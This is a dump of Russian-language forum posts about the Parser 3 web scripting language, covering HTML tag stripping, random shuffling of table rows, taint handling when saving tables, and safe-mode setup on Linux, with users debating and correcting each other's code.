Ладно, это все лирика. Я для себя установил такой принцип - на Парсере изготавливается такой ничего себе рабочий вариант системы, заказчик радуется жизни, я, соответственно, тоже - технологии обкатаны, концептуальный дизайн устаканен, заказчик удовлетворен. И, сразу после этого, все это хозяйство переписывается набело на перле. \
\
Т.е. Парсер, как технология сайтостроительства, для меня, в общем-то, имеет право на существование. Но в качестве черновика, что-ли...\
\
Хотя идеи заложены весьма здравые."
"29751","Немогу разобраться как сделать корзину для интернет-магазина. Может кто-нибудь покажет примерный скрипт, чтобы я смог разобраться."
"29752","Нашёл на форуме такую схему:\
\
[i]При входе пользователя на сайт магазина создается сессионная cookie basket=0. При добавление товара в корзину проверяется basket, если =0, то basket присваиваем 1 и создаем cookie product_1=номер_продукта и\
col_1=количество_продукта. При добавление N-ного продука basket присваиваем N и создаем cookie product_N=номер_продукта и col_N=количество_продукта.[/i]\
\
Может кто-то может показать этот пример в скрипте, а не на словах?"
"29753","Открылся новый сайт для программистов и веб дизайнеров  на slavsoft.com  они собираются запустить русскую версию в следующем месяце"
"29754","Подскажите как можно убрать все тэги из HTML кода и оставить только текст."
"29757","Если убрать из странички все тэги может получиться что-то совсем неудобоваримое. Может быть нужно УБРАТЬ ВСЕ, кроме какого-то осмысленного текста?"
"29758","[code]\
#удаляем напрочь все скрипты, стили и спэйсеры\
$buffer[^buffer.match[<(script|spacer|style)[^^>]*>(.*?)</\\1>][gi]{}]\
#удаляем все парные тэги. 10 - максималтная длина названия тэга\
^while(^buffer.match[<(\\w{1,10})[^^>]*>(.*?)</\\1>][gi]){\
$buffer[^buffer.match[<(\\w{1,10})[^^>]*>(.*?)</\\1>][gi]{$match.2^#0A}]\
}\
#удаляем все непарные тэги\
$buffer[^buffer.match[<[!a-z]{1,10}[^^>]*>][gi]{}]\
#комментарии тоже нам не нужны\
$buffer[^buffer.match[<!--.*?-->][gi]{}]\
#конкретные замены лучше делать риплейсом\
$rep[^table::create{from	to \
&nbsp^;	  }] \
$buffer[^buffer.replace[$rep]]\
$buffer\
[/code]\
\
и всё это вставляем в постпроцесс\
\
где можно улучшить - возможно многие вещи можно сделать с помощью replace\
опять же - вполне возможно Вам не нужно удалить именно тэги. Потому как остаётся куча бессымсленных элементов - меню, заголовки и др.\
\
P.S. Придёт Eugene Spearance - много ошибок найдёт и Вам подскажет"
"29759","1. [quote]удаляем все парные тэги. 9 - максимальная длина названия тэга[/quote]\
\"blockquote\" - уже 10 символов :)\
\
2. С таблицами при такой обработке непонятка - они же вообще превратятся в неизвестно что.. \
\
3. Всё же задача \"убить все теги совсем\" мне не ясна... Станислав, поясните, зачем??"
"29760","Но, честно сказать я за простоту и понимание. На разбор вашего полета у меня как минимум ушло 3-5 мин, т.к. извините не программист.\
Да и собственно я не преследовал задачу максимального упрощения. Я привел пример рабочего кода средства, которое многим облегчит жизнь. Пусть хотябы на первых этапах. \
А наворачивать сложными конструкциями и функционалом конечно же можно. И пусть каждый сам для себя определит на сколько.\
\
P.S. Еще раз спасибо за конструктивный пример. Как раз на фоне него возникла еще одна идея."
"29762","Ты привел пример квазипростого решения - т.е. тупого копирования куска кода с последующей заменой в нужных местах. В этом случае просто происходит ненужное дублирование алгоритма, а как известно это большое зло. Вдруг тебе например понадобится добавить вырезание ещё одного типа тегов? В твоем варианте произойдет copy/paste + замена. В случае если при copy/paste + замена произойдет ошибка (случайно написали не ту букву), код будет работать не так как надо и отлов таких багов страшно тяжелое и долгое занятие, т.е. сэкомомив сейчас 5 минут, потом потеряешь часа 2. Вот и вся арифметика.\
\
Этот код не только не облегчит жизнь, но и усложнит т.к. он показывает плохой стиль, которому и будет следовать большинство. Короче говоря мы имеем дело с обманчивой простотой.\
\
PS: Там если покопать, можно ещё упростить."
"29763","Идея в том, чтобы сделать простенький поиск по сайту средствами Парсера. Естественно нужна индексилка и сам поиск.\
\
Индексилка проверяет дату последнего индекса для каждого файла и сравнивает ее с заданым значением (допустим 7 дней).\
\
В индекс нужно забирать только текст. Для простого поиска релевантность не особо нужна.\
\
Хотелось просто взять и ^postprocess`ом вырезать текст с каждой страницы, занести его в индекс, а потом уже по нему искать регулярными выражениями."
"29764","сами мы предпочитаем Yandex.Server\
но в mnogosearch тоже есть поддержка словоформ, и его тоже кое-где используем. пусть он не умеет \"человек==люди\", но обычно этого и не нужно.\
\
используйте то, в чём вам проще разобраться. объём тут не проблема: ведь все используют индекс, и там объём влияет несильно."
"29765","в файле auto.p написано\
@auto[]\
$connect_string[mysql://bbb_news:brk@localhost/bbb_news]\
\
При подключении к базе в файле .html\
^connect[$connect_string]{\
$news[^table::sql{select\
date, header, body\
from news\
where\
date= '${now.year}-${now.month}-$day'\
order by id desc\
}]\
При обработке данного кода вылетает ошибка\
$SQL:drivers table must be defined  type: parser.runtime"
"29768","Добрый день!\
\
Скажите пожалуйста, есть ли у кого-нибудь Парсер для Мака? Очень нужно."
"29769","Добрый день.\
Случилось тут одному из проектов переехать на новый сервер ВИН 2003.\
Все работает, но ОЧЕНЬ медленно. \
Перерыл все настройки, включая  WSRM. \
Похоже, что за дереьями не вижу леса. Подкиньте идеи."
"29770","http://www.parser.ru/forum/?id=25280"
"29771","у него уже есть и драйверы для БД тоже есть."
"29772","Всем привет, хотел бы спросить, как передавать файлы между  серверами на другой без закачки"
"29775","в 2 часа ночи специально полез в справочник чтобы вспомнить длинные тэги - ну и насчитал у blockquote 9 символов - кризис жанра\
\
с таблицами всё нормально - если документ свёрстам нормально, то сначала вырежутся table-table, потом tr-tr, потом td-td\
специально для этого и сделан цикл - пока есть какие-либо парные тэги - удаляем"
"29776","только нужну удалять постоянные элементы страниц - меню, заголовки какие-нибудь"
"29778","..меня интересует как это сделать в CuteFTP...\
Был бы очень признателен за помощь."
"29780","http://tomash.theatre.ru/parser3/"
"29781","Спасибо огромное. Будем тыкаться. Судя по всему не один день уйдет ;)"
"29782","А, по-моему, зря Вы так про Parser..."
"29784","Я просто говорил о том, что если есть какой rowSpan или colSpan, то данные в plain-text могут не туда, куда нужно уехать \"по смыслу\". Но раз нужен просто полный индекс страницы - то без разницы, конечно."
"29785","Вот, собственно, наткнулся на такую задачу.\
\
Имеем: \
1. таблица, с уникальными записями в энном количестве – 1 штука;\
\
Нужно:\
1. выдать последовательность случайно перемешанных строк. (Грубо говоря, просто массив перемешанных номеров строк).\
\
Всё просто, кроме одного логичного требования – строки не должны повторяться.\
\
Ознакомился с содержимым форума на предмет – везде задачи просто на выбор случайного из массива.\
Что не подходит.\
\
Я сделал так:\
[code]\
@random_digits[limit][limit]\
\
^if(!def $limit){$limit(1)}\
\
$result[\
	$random_digits[^table::create{number}]\
		\
	^while($random_digits < $limit){\
		$random_digit(^math:random($limit))\
		^if(!^random_digits.locate[number;$random_digit]){\
			^random_digits.append{$random_digit}\
		}\
	}\
]\
[/code]\
\
Можно и через хэш, но это монопенисуально.\
При такой реализации можно сократить затраты на locate, однако циклы останутся.\
Получается по 40-50 итераций для списка из 10 номеров.\
Может это дело можно решать быстрее и проще?"
"29787","http://www.parser.ru/forum/?id=12771\
http://www.parser.ru/forum/?id=21202\
\
и это только мои посты... я думаю можно продолжить :)"
"29788","Переделал под хэш.\
\
[code]\
@random_digits[table_limit;random_limit][table_limit;random_limit]\
\
^if(!def $table_limit){$table_limit(1)}\
^if(!def $random_limit){$random_limit(1)}\
\
$random_digits_hash[^hash::create[]]\
\
$result[\
\
	$random_digits[^table::create{number}]\
\
	^while($random_digits_hash < $table_limit){\
		$random_digit(^math:random($random_limit))\
		^if(!def $random_digits_hash.[$random_digit]){\
			$hash_add[$.$random_digit[]]\
			^random_digits_hash.add[$hash_add]\
		}\
	}\
\
	^random_digits_hash.foreach[key;value]{\
		^random_digits.append{$key}\
	}\
][/code]\
\
\
[b]Larrikin[/b]\
\
Дык, а я что делаю?..\
\
\
Соврал я безбожно никаких не 40-50 итераций.\
Данный вариант даёт максимум 14 итераций на 10 значений (из увиденного).\
Так что всё очень даже неплохо.\
\
+ в первом варианте я забыл добавить лимит ещё один.\
Их два:\
один - на общее количество чисел.\
второй - на количество перемешиваемых.\
\
Т.к. если в таблице допустим 30 значений, а необходимо вывести 10 такой вариант необходим."
"29789","Блин, я даже помню этот revolver...\
:)\
\
Принцип, насколько я бегло взглянул, тот же.\
То бишь упрощать уже некуда?"
"29790","Дорогие друзья.\
Пожалуйста, не стоит отсылать меня в поиски или факи. Я ими умею пользоваться. Но, видимо, несколько туп, слеп или типа того.\
\
Примитивный вопрос: записать кучу переменных в поля таблицы и затем в текстовый файл. В переменных могут встречаться переносы строк и табуляции. В доке написано, что taint или untaint -- какой-то из этих загадочных братьев-близнецов, которые хрен знает чем занимаются, -- при добавлении записи в таблицу автоматически использует вид преобразования table. Ни хрена он не использует, как я понимаю. Пишет в файлы со всеми дрянными символами. Бубны с разными видами таблиц преобразований и произвольные сочетания taint и untaint счастья мне не принесли.\
\
Да, я читал \"примеры\". Да, я до фига веток прочёл про всякие преобразования. Представляете, мне НИ ХРЕНА НЕ ПОНЯТНО. Найдётся здесь добрая чистая и светлая душа, обладающая невероятным терпением?\
\
Ну или на худой конец код дайте. Подозреваю, что это одна или две строчки."
"29791","то, что вы её не понимаете, можно объяснить только нетерпеливостью.\
вот ваша рубашка/свитер: какого цвета?\
вот и представьте, что в ваших переменных лежит текст, чьи части разноцветны.\
\
код может быть таким:\
\
[code]\
$str[строка с^#09табуляцией и ^#0A разрывом строк]\
$table[^table::create{колонка1\
#вот так вам нельзя, получится две колонки и две строки\
##$str\
#а вы хотите иного, чтобы все буквы $str попали в одну ячейку\
#поэтому\
^taint[$str]\
}]\
\
#тут у нас есть $table правильной структуры\
#теперь надо её грамотно записать\
#вот так просто вам нельзя, \
#поскольку потом нельзя будет понять, \
#где ваша ячейка закончилась\
##^table.save[file.txt]\
#поэтому\
^table.save[file.txt;$.encloser[\"]]\
[/code]\
\
\
а теперь, пожалуйста, признайте, что первая часть — создание таблицы с такими ячейками — описан в примерах. непонятно описан?\
\
и что вторая часть — сохранение с кавычками — детально описан в документации."
"29792","[code]\
$hash_add[$.$random_digit[]]\
^random_digits_hash.add[$hash_add]\
[/code]\
\
->\
[code]\
^random_digits_hash.add[$.$random_digit[]]\
[/code]\
\
однако т.к. вы добавляете к хешу элемент типа строка cj pyfxtybtv \"пустая строка\", то \
[code]\
^if(!def $random_digits_hash.[$random_digit]){...}\
[/code]\
\
всегда быдет давать \"истина\".\
т.е. наверное в хеш таки надо сто-то записывать или проверять не def элемента а наличие элемента.\
\
подобное применение $result[] так и осталось для меня загадкой...\
\
по моему передавать лучше не количество строк в таблице, а саму таблицу, в результате получим почти revolver, разницы с которым вы не заметили, однако я не заметил там ни одного locate в отличии от кода, приведенного вами в корневом сообщении этого треда ;)"
"29793","Уже сам сделал корзину..."
"29794","Я терпелив как рожающая женщина.\
\
Однако вот это не работало.\
\
[code]\
^tbl.append{^taint[$myStr]->^taint[$myStr2]->^taint[$myStr3]}\
^tbl.save[file.txt]\
[/code]\
\
Необходимо, наверное, уточнить, что мне вовсе не нужно сохранять разметку -- эти переносы и табуляции -- в файле. Мне нужно просто записать каждую переменную одной строкой в соответствующие столбцы. Естественно, можно убрать всё лишнее матчем. Однако я почему-то подумал, что taint способен это делать сам."
"29795","и почему бы он должен был это сделать?\
\
вполне нормальные буквы."
"29796","Подскажите как вывести случайную строку из базы данных"
"29797","В lib.p ненаписано\
\
[code]\
@CLASS\
lib\
[/code]"
"29798","Видимо, меня ввело в заблуждение моё понимание работы этих операторов.\
\
...Parser выполняет ряд автоматических untaint преобразований...\
...table ...текст при создании таблицы или добавлении в нее записи...\
- символ табуляции преобразуется в пробел\
- символ конца строки преобразуется в пробел\
\
Объясните, что за преобразование он тогда делает и когда?\
Моё понимание после прочтения документации было таким: при добавлении данных в таблицу, происходит автоматическое убирание \"лишних\" символов, типа переносов и табов. Видимо, это не так, да. Но почему у меня сложилось такое ощущение после прочтения документации? Может быть, дело во мне. Может быть, в документации. Ху knows."
"29802","Вы возможно удивитесь, но всё работает :)\
\
А locate.. Дык я же написал, что вот с хэшем – избавляемся от него.\
\
Резалт.\
А что не так с резалтом?\
Код в нём только по причине желания не усложнить.\
Конечно, можно и вовсе без него.\
Ведь я изначально применяя метод знаю, что на выходе получу таблицу.\
\
Передавать таблицу, а зачем?\
Зачем мне тягать лишние данные?\
А если в ней 500Кб текста?\
Так я получил последовательность, потом отменюшил и вывел, что мне нужно и из того места, где нужно.\
\
Для меня осталась только одна загадка в этом методе.\
В целях защиты от выдачи несуществующих номеров перемещиваемого массива, следовало бы ограничить random_litit.\
Т.е. если заданное число случайных элементов больше, чем имеющихся даных - нужно их просто сровнять.\
[code]^if($random_limit > $table_limit){$random_limit($table_limit)}[/code]\
\
Однако, по непонятным мне причинам, только наличие этой проверки в коде (даже если условие ложно, т.е. $random_limit <= $table_limit) происходит резкое увеличение количества итераций..."
"29803","Спасибо!"
"29804","если бы вы попытались проанализировать что он делает...\
допустим получили случайное число 3.\
далее делаем !def получаем true (и всегда будем получать true) и добавляем к хешу.\
если на второй итерации опять получится 3, то опять будет true и опять добавится к хешу. другое дело что в хеше не может быть двух элементов с одинаковыми ключами, и из двух останется только один...\
ну и т.д.\
\
т.е. вы проверку на !def можете смело выкидывать, все будет работаеть. вы таки и планировали? если да, то поздравляю, мне было интересно :)\
\
[quot]\
А что не так с резалтом?\
Код в нём только по причине желания не усложнить.\
Конечно, можно и вовсе без него.\
Ведь я изначально применяя метод знаю, что на выходе получу таблицу.\
[/quot]\
\
не вижу в коде, где вы в $result кладете таблицу.\
вижу, что туда попадет пачка пробельных символов.\
\
[quot]\
Передавать таблицу, а зачем?\
Зачем мне тягать лишние данные?\
А если в ней 500Кб текста?\
[/quot]\
\
вы слышали о том, что в парсере данные передаются по ссылке? т.е. никакого копирования 500КБ таблицы не будет. будет передана одна внутренняя переменная-указатель на эту таблицу.\
\
вообще ваш код, вам виднее что удобнее передавать, а что удобне получать на выходе, но вне кажется что логичнее и удобнее как в revolver: на вход даем исходную таблицу и количество элементов, которое нам нужно, а на выходе - таблицу с результатами.\
\
P.S. copy/paste метода из http://www.parser.ru/forum/?id=29788 и... endless loop detected...\
P.P.S. чтобы заработало пришлось править: сделать result таблицей и аппендить к нему... "
"29805","Конечно, здесь написание пустых ключей не более, чем любопытство, и как ни странно - работает!..\
(естественно поправил на $hash_add[$.$random_digit(1)])\
\
[quote]т.е. никакого копирования 500КБ таблицы не будет. будет передана одна внутренняя переменная-указатель на эту таблицу.[/quote]\
\
Догадывался.\
Ну что ж, тогда хорошо.\
Согласен.\
\
[quote]не вижу в коде, где вы в $result кладете таблицу.[/quote]\
\
Вот тут: [code]$result[\
\
	$random_digits[^table::create{number}]\
...\
]\
[/code]\
\
Которую затем заполняю.\
\
[quote]вижу, что туда попадет пачка пробельных символов.[/quote]\
\
Бог с ними, главное таблица есть :)\
С табуляторами и переводами логичнее читать.\
\
[code]P.S. copy/paste метода из http://www.parser.ru/forum/?id=29788 и... endless loop detected...[/code]\
\
О как!\
Т.е. у Вас def работает правильно.\
А сервер под какой ОС?\
\
А вот так?:\
[code]\
@random_digits[table_limit;random_limit][table_limit;random_limit]\
\
^if(!def $table_limit){$table_limit(1)}\
^if(!def $random_limit){$random_limit(1)}\
\
#^if($random_limit > $table_limit){$random_limit($table_limit)}\
\
$random_digits_hash[^hash::create[]]\
$counter(0)\
$result[\
\
	$random_digits[^table::create{number}]\
\
	^while($random_digits_hash < $table_limit){\
		$random_digit(^math:random($random_limit))\
		^if(!def $random_digits_hash.[$random_digit]){\
			$hash_add[$.$random_digit(1)]\
			^random_digits_hash.add[$hash_add]\
		}\
	^counter.inc[]\
	}\
\
	^random_digits_hash.foreach[key;value]{\
		^random_digits.append{$key}\
	}\
==$counter==  \
]\
[/code]\
\
Copy/paste из моего файла."
"29806","[quote]т.е. вы проверку на !def можете смело выкидывать, все будет работаеть. вы таки и планировали? если да, то поздравляю, мне было интересно :)[/quote]\
\
Признаться, нет... :)\
\
[quote]\
если бы вы попытались проанализировать что он делает...\
допустим получили случайное число 3.\
далее делаем !def получаем true (и всегда будем получать true) и добавляем к хешу.\
если на второй итерации опять получится 3, то опять будет true и опять добавится к хешу. другое дело что в хеше не может быть двух элементов с одинаковыми ключами, и из двух останется только один...\
ну и т.д.[/quote]\
\
Не, не. Что то Вы не так поняли, или это я сдуру не так написал.\
Поясню.\
\
[code]\
$random_digits_hash[^hash::create[]]\
[/code]\
\
Ну, это понятно - сваяли хэш под случайные ключи.\
\
[code]\
	^while($random_digits_hash < $table_limit){\
[/code]\
\
Пока количество ключей хэша (случайные числа) меньше лимита, выполняем.\
\
[code]\
		^if(!def $random_digits_hash.[$random_digit]){\
			$hash_add[$.$random_digit(1)]\
			^random_digits_hash.add[$hash_add]\
		}\
[/code]\
\
Если элемент такой-то (только сгенеренный) не содержится в хэше - добавляем,\
ежели есть - нафиг надо.\
\
Всё. :)"
"29807","[quot]\
Конечно, здесь написание пустых ключей не более, чем любопытство, и как ни странно - работает!..\
(естественно поправил на $hash_add[$.$random_digit(1)])\
[/quot]\
\
я объяснил почему работает. и судя по тому, что говорите вы оно работает совсем не так, как вы планировали.\
\
[quot]\
не вижу в коде, где вы в $result кладете таблицу.\
Вот тут:\
$result[\
\
$random_digits[^table::create{number}]\
...\
]\
[/quot]\
\
да ну?\
покажите в доке место, в котором говориться, что table при таком раскладе попадет и в $result и в $random_digits?\
\
это работать не может в принципе.\
\
возможно у вас как-то хитро работает по том причине что у вас есть и метод с именем random_digits и переменная (внутри метода).\
и может покажете как вы вызываете свой метод?\
\
[quot]\
Которую затем заполняю.\
вижу, что туда попадет пачка пробельных символов.\
Бог с ними, главное таблица есть :)\
[/quot]\
\
нету. и не может быть.\
\
ладно, если вы считаете что есть - то не буду вас разуверять. хотя вы спорите о том как работает ваш код не понимая, как он действительно работает: это видно по тому, что вы утверждаете. \
\
говорю это для тех, кто будет смотреть ваш метод: это работать не может.\
\
[quot]\
$result[\
...\
==$counter==  \
]\
[/quot]\
\
и это подтверждение, что в $result у вас попадает [b]строка[/b]\
\
[quot]\
^if(!def $random_digits_hash.[$random_digit]){\
$hash_add[$.$random_digit[]]\
^random_digits_hash.add[$hash_add]\
}\
[/quot]\
\
вам объяснили как это работает у вас, а вы продолжаете настаивать, что работает иначе.\
напишите так:\
[code]\
^if(!def $random_digits_hash.[$random_digit]){\
$str[$random_digit^#0A]\
^str.save[append;/log.txt]\
$hash_add[$.$random_digit[]]\
^random_digits_hash.add[$hash_add]\
}\
[/code]\
\
и посмотрите что у вас попадет в лог.\
вы увидите, что у вас бывают попытки добавить один и тот-же ключ по несколько раз, а это говорит о том, что !def всегда истинно.\
после того, как вы $.$random_digit[] заменили на $.$random_digit(1) логика, которую вы закладывали вначале стала работать, и в этом случае !def не всегда бывает \"истина\".\
\
P.S. писать в хеш значение 1 не обязательно, можно проверять наличие элемента в хеше, а не определена строка этого элемента или нет. об этом я писал выше, и для этого достаточно убрать def\
P.P.S. устал я доказывать... делайте что хотите: хотите разбирайтесь как что-то работает, хотите - нет, и продолжайте верить в чудеса."
"29808","При установки парсера на линуксе (ASPLinux 9.0) выдает ошибку что парсер работает в сейф моде, и не может читать файлы и папки других групп, предлагает перекомпилить себя без поддержки сайф моде. Как исправить?"
"29809","У меня в ASP Linux 7.3 точно так же отвечает. Перевернул метные ФАКи и статьи вот что нашёл:\
\
Бинарные CGI версии Parser под *nix в разделе для скачивания собраны в SAFE MODE. Такой Parser проверяет группу и владельца файла перед его считыванием, и считывают только те файлы, группа или владелец которых совпадает с группой или владельцем процесса, в котором работает Parser.\
\
Это сделано специально, чтобы в случае ошибки в скрипте злоумышленники не могли ею воспользоваться и получить доступ к файлам, к которым он им заведомо не нужен, скажем, к /etc/passwd.\
 группа и пользователь, от которой работает CGI процесс (параметры Group и User в httpd.conf, для Apache) не совпадает ни с группой ни с пользователелем, которому принадлежат файлы, создаваемые вами.\
\
И дальше предлагают пересобрать Парсер из исходников, отключив защищённый режим.\
\
P.S. Не понимаю нах такую мататень устраивать если мне (да и не только мне) нужно что б просматривать сайт могли все кто на него заходят."
"29810","вот и ещё одна дырка как я понял этот фору на Парсере, так в Opera не открывается форма для постов.\
видно надо плюнуть на Парсер с такими глюками и перестраховками  собственный сайт тяжело будет раскручивать."
"29811","[quote]может покажете как вы вызываете свой метод?[/quote]\
\
Вызываю: [code]^random_digits[$limit;^mp3_table.count[]]\
[/code]\
\
где:\
$limit - заданный лимит на количество выводимых строк,\
$mp3_table - рабочая таблица.\
\
Использую результат:\
[code]\
	^random_digits.menu{\
прочий код\
}\
[/code]\
\
[quote]напишите так[/quote]\
\
Непременно.\
Чуть позже, не имею сервера под рукой.\
\
[quote]у вас бывают попытки добавить один и тот-же ключ по несколько раз, а это говорит о том, что !def всегда истинно[/quote]\
\
А почему не может быть таких попыток?\
Конечно будут.\
\
[quote]устал я доказывать... делайте что хотите: хотите разбирайтесь как что-то работает, хотите - нет, и продолжайте верить в чудеса.[/quote]\
\
Уважаемый!\
Не надо мне ничего доказывать.\
Вам было интересно – ради Бога, нет – да на здоровье.\
Вы мне говорите \"не может работать\", я вам говорю – \"вот оно работает\", и при этом так, как от него ожидаю.\
Вот и всё переубеждение.\
Я, конечно, перепроверю ещё раз все вызовы, метод от греха переименую, вот там и посмотрим, как оно так выходит."
"29813","P.S. что касается SAFE парсера то попробуйте для начала почитать доки и понять что это означает...\
P.P.S. а вообще лучше действительно плюньте..."
"29814","Итак.\
\
1. Переименовал метод в @random_[]\
   Всё как работало так и работает.\
\
2. Добавил предложенные Вами строки и получил лог.\
   Цитирую:\
   29\
   37\
   9\
   14\
   25\
\
3. Набросал метод отладки, по принципу random_'а.\
   Привожу код.\
[code]\
@random_test[table_limit;random_limit][table_limit;random_limit]\
\
$random_digits_hash[^hash::create[]]\
$random_digits[^table::create{number}]\
$all_generated_digits[^table::create{digit}]\
\
^while($random_digits_hash < $table_limit){\
	$random_digit(^math:random($random_limit))\
	^if(!def $random_digits_hash.[$random_digit]){\
		^all_generated_digits.append{$random_digit}\
		$hash_add[$.$random_digit(1)]\
		^random_digits_hash.add[$hash_add]\
		числа ($random_digit) ещё не было, надо бы добавить!<br>\
	}{\
		было уже ($random_digit), было, а не пошло бы оно уже?..<br>\
	}\
\
}\
<br>\
^$random_digits_hash[<br>\
^random_digits_hash.foreach[key;value]{\
	$this_digit_counter[^all_generated_digits.select($all_generated_digits.digit == $key)]\
	&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;^$.$key^[$value] (^this_digit_counter.count[])<br>\
}\
]\
[/code]\
\
Вызывать как [code]^random_test[table_limit;random_limit][/code], у меня [code]^random_test[25;100][/code]\
(тут предвижу яростный пинок, за что - смотреть ниже)\
\
Метод выводит сгенерированное число, проверяет есть ли такой ключ в хэше, пишет о результате проверки.\
В конце выводит вид полученного хэша (в круглых скобках справа от ключа - частота выпадания такого числа при случайной генерации).\
У меня на вызов [code]^random_test[25;100][/code] вывел:\
\
[code]\
числа (72) ещё не было, надо бы добавить!\
числа (62) ещё не было, надо бы добавить!\
числа (36) ещё не было, надо бы добавить!\
числа (84) ещё не было, надо бы добавить!\
числа (28) ещё не было, надо бы добавить!\
числа (98) ещё не было, надо бы добавить!\
числа (57) ещё не было, надо бы добавить!\
числа (10) ещё не было, надо бы добавить!\
числа (29) ещё не было, надо бы добавить!\
было уже (62), было, а не пошло бы оно уже?..\
числа (8) ещё не было, надо бы добавить!\
числа (81) ещё не было, надо бы добавить!\
числа (48) ещё не было, надо бы добавить!\
числа (30) ещё не было, надо бы добавить!\
числа (51) ещё не было, надо бы добавить!\
числа (94) ещё не было, надо бы добавить!\
числа (0) ещё не было, надо бы добавить!\
числа (64) ещё не было, надо бы добавить!\
числа (42) ещё не было, надо бы добавить!\
числа (97) ещё не было, надо бы добавить!\
числа (39) ещё не было, надо бы добавить!\
было уже (72), было, а не пошло бы оно уже?..\
было уже (8), было, а не пошло бы оно уже?..\
числа (82) ещё не было, надо бы добавить!\
было уже (28), было, а не пошло бы оно уже?..\
числа (26) ещё не было, надо бы добавить!\
было уже (8), было, а не пошло бы оно уже?..\
числа (71) ещё не было, надо бы добавить!\
числа (53) ещё не было, надо бы добавить!\
числа (4) ещё не было, надо бы добавить!\
\
$random_digits_hash[\
      $.28[1] (2)\
      $.29[1] (1)\
      $.62[1] (2)\
      $.64[1] (1)\
      $.51[1] (1)\
      $.53[1] (1)\
      $.42[1] (1)\
      $.30[1] (1)\
      $.0[1] (1)\
      $.57[1] (1)\
      $.4[1] (1)\
      $.94[1] (1)\
      $.81[1] (1)\
      $.48[1] (1)\
      $.82[1] (1)\
      $.10[1] (1)\
      $.36[1] (1)\
      $.71[1] (1)\
      $.97[1] (1)\
      $.84[1] (1)\
      $.26[1] (1)\
      $.39[1] (1)\
      $.72[1] (2)\
      $.8[1] (3)\
      $.98[1] (1)\
]\
[/code]\
\
Выводы:\
1. Числа выпадают по нескольку раз как и положено, при этом if работает.\
2. Причина пинка в мою честь - я перепутал лимиты. Т.е. при буквальном их задании, например [code]^random_test[100;25][/code] конечно endless loop."
"29815","С оперой разобрался, в настройках друзяь покопались без меня.\
Парсер на Линухе тоже заработал, в общем в конфиге апача стоит група\\юзер  апаче\\апаче и на все файлы которые должны обрабатываться парсером должно быть апаче\\апаче"
"29819","[code]  \
# Заполняем массив\
  $test[^table::create{num}]\
  ^for[i](1;100){^test.append{$i}}\
\
# Перемешиваем. Собственно всего одна строчка\
  ^test.sort{^math:random($test)}\
  \
# Выводим. Тут могут быть всякие варианты, \
# в том числе и с лимитами\
  ^test.menu{$test.num}[, ]\
[/code]"
"29820","странно, админы наоборот обрадовались когда это появилось - на рабочем сервере все так и пашет - только в safe mode\
\"параноя - это хорошо\" - правило нормального сисадмина"
"29821","дело говорите.\
\
это некий пережиток parser2, почему-то попавший в parser3.\
в parser3 разбиение [code]^table::create{тела}[/code] происходит иначе, чем подобное в parser2, и тут механизм с [code]^table::create{^untaint[table]{автоматическим преобразованием этого}}[/code] не нужен. совсем.\
\
причём его, на деле, и нет. нет автоматического преобразования к table. но есть остальные ненужные куски. включая текст в документации.\
\
спасибо, что были терпеливы и докопали до конца."
"29822","Саппорт парсера, надо сказать, просто отличный."
"29823","Немогу решить проблему. У меня в таблице есть строки с одинаковым значением (допустим 5 строк, у которых uid равен 1).\
Сущность проблемы в том как сделать, чтобы скрипт выводил 5 этих строк подряд, а отсортировывал одинаковые и выводил одну."
"29824","\"выводил  не 5 этих строк подряд\""
"29825","1. Отсортируйте таблицу по полю, в котором  надо убрать дубликаты.\
2. Через меню проверяйте на одинаковость с последующим полем\
3. Неодинаковые добавляйте в новую таблицу\
4. И будет Вам счастье :)"
"29826","Работает полностью нормально, но проблема именно в скорости?\
А какая версия парсера?\
\
Я вот так и не смог заставить работать парсер под 2003 нормально:("
"29831","результат работы метода неочевиден - метод возвращает пачку пробельных символов, и после этого в коде мы пытаемся менюшить непонятно откуда взявшуюся, визуально \"нигде не декларированную\" глобальную переменную ($random_digits). Плюс это навязывает определённый порядок выполнения (вызов/меню, вызов/меню) ибо повторный вызов метода с другими параметрами изменит содержимое $random_digits. Разумеется, при определённых условиях это будет работать, но в целом подход несколько фиговый. Гораздо очевиднее было-бы :\
\
[code]\
$random_digits[^random_digits[параметр1;параметр2]]\
...\
^random_digits.menu{ прочий код }\
[/code]\
\
В любом случае, почитайте в документации про $result, его вы используете совершенно не к месту.\
\
P.S. и слушайте Мишу, он вам плохого не посоветует. :)"
"29833","Если $date объект класса дата то $date.month, $date.day\
\
Если просто число, то примерно так:\
[code]\
$date[^date::create(2004;1;1)]\
^date.roll[day]($ваше_число - 1) #отсчет идет от 1-го дня, а не от 0-го.\
[/code]\
И потом опять же $date.month, $date.day"
"29834","[code]\
$today[^date::now[]]\
$date[^date::create($today.year;1;1)]\
^date.roll[day]($ваше_число - 1) #отсчет идет от 1-го дня, а не от 0-го.\
[/code]\
И потом опять же $date.month, $date.day\
\
З.Ы. Прошу меня извинить уважаемый [b]Eugene[/b] за плагиат. :)"
"29835","[quote]результат работы метода неочевиден[/quote]\
\
Метод работает так, как удобно лично мне.\
Я ни в коей мере не занимался разработкой универсального решения.\
Всё что интересует - алгоритм, это и обсуждаем.\
\
[quote]В любом случае, почитайте в документации про $result, его вы используете совершенно не к месту.[/quote]\
\
Бог с ним, с резалтом.\
Здесь он вообще не нужен.\
\
Таблица - да, глобальная.\
\
[quote]и слушайте Мишу, он вам плохого не посоветует. :)[/quote]\
\
Дык, а я что?..\
Руками отмахиваюсь?..\
\
\
P.S. для Миши, нельзя ли сделать поле ввода повыше?\
Тяжело много печатать."
"29836","А что, работает!\
Надо бы только затраты померить."
"29837","Вчера все работало. Седня запускаю Денвер любимый, а он мне 500 и в логе:\
\
[Wed May 26 19:25:17 2004] [error] [client 127.0.0.1] couldn't spawn child process: /home/cgi-glob/parser3/parser3_wrapper.exe\
\
Тыкаю parser3_wrapper.exe - кричит \"не могу найти parser3.exe!\", хотя по указанному пути есть рабочий Парсер 3.1.2...\
\
С чего бы это?"
"29838","[quote]Всё что интересует - алгоритм, это и обсуждаем.[/quote]\
Одно дело, если бы вы просто обсуждали алгоритм, к сожалению вы имели неосторожность привести код...  ;)\
\
[quote]Таблица - да, глобальная.[/quote]\
Тут дело не в глобальности, хотя... какая разница, вас ведь всё равно интересует только пресловутый \"алгоритм\", все остальное - просто шелуха..."
"29839","^file:list[$path;*] возвращает все в подряд - и файлы и папки, а как же получить только список папок? разве нет возможности задать атрибут \"папка\" при получении списка??? очень не хочется использовать ОСОБЫЕ имена папок, типа dir_image, dir_main и т.д., чтобы можно было находить их по маске dir_* ..."
